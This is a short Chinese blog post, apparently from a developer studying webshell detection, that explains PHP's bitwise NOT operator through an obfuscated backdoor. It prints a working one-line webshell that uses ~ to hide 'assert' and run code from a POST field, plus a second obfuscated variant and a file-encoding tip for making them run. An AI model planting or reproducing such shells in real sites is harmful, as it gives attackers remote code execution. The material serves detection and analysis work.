• PHPwebshell分析


     这几天已知在做webshell的检测,JSP的不说了,特征检测起来很好匹配到,而且全是一家亲,互相模仿的居多。

    今天看了一篇文章,看到14年蘑菇的webshell的后门然后很不错。

    ============================================

    是按位取反。~

    PHP: 位运算符 - http://www.php.net/manual/zh/language.operators.bitwise.php

    1. ~ $a Not(按位取反) 将 $a 中为 0 的位设为 1,反之亦然。

    PHP 的 ini 设定 error_reporting 使用了按位的值,提供了关闭某个位的真实例子。要显示除了提示级别之外的所有错误。

    php.ini 中是这样用的: E_ALL & ~E_NOTICE

    具体运作方式是先取得 E_ALL 的值: 00000000000000000111011111111111 

    再取得 E_NOTICE 的值: 00000000000000000000000000001000 

    然后通过 ~ 将其取反: 11111111111111111111111111110111 

    最后再用按位与 AND(&)得到两个值中都设定了(为 1)的位: 00000000000000000111011111110111

    1 <?php
    2 $x=~Ÿ¬¬º­«;
    3 $x($_POST[~¹¹ÏÏÏÏ]);
    4 ?>

    这里定义$x变量为ASSERT,然后密码为FF0000直接链接后门便可,因为当位取反出来'乱码'后我们再取一次反即可返回正常值。

    当重现这个后门的时候我发现,直接Copy过来的直接HTTP状态500,源头是编码问题,上面这种'乱码'其实为西欧(ISO-8859-15)。

    实际过程中我们遇到了多次后门无法链接出现500的错误均势因为编码问题,如果默认编码无法识别将编码方式保存为这种即可(GBKUTF8...均不能成功使用)

     <?php @$code = ~邽崓瀱爳瀼纵瀸專嚿蕧嬢幼瀺崬喼蹱��含�嚔帜;@$s1 = ~瀸寶崑;@$s2 = ~繗墳撟蹨悰氈;@$s1($s2);?>
    例如这样
    访问后代码还是一样会运行的。
    更多的细节可以看:http://www.2cto.com/Article/201402/277032.html
    相关资料https://github.com/laterain/pwaavt/blob/master/bitwise.php
  • 相关阅读:
    使用java的wsimport.exe生成wsdl的客户端代码【转】
    css 动画【转】
    如何让javascript base64加密后不含+/=
    UEditor js动态创建和textarea中渲染【原】
    在js或jquery中动态添加js脚本【转】
    利用spring的MultipartFile实现文件上传【原】
    hibernate状态转换关系图【原】
    ssh框架里拦截器的权限验证基本思路【转】
    JAVA中三种URL连接方法
    程序出错问题总结
  • 原文地址:https://www.cnblogs.com/sevck/p/5110670.html
Copyright © 2020-2023  润新知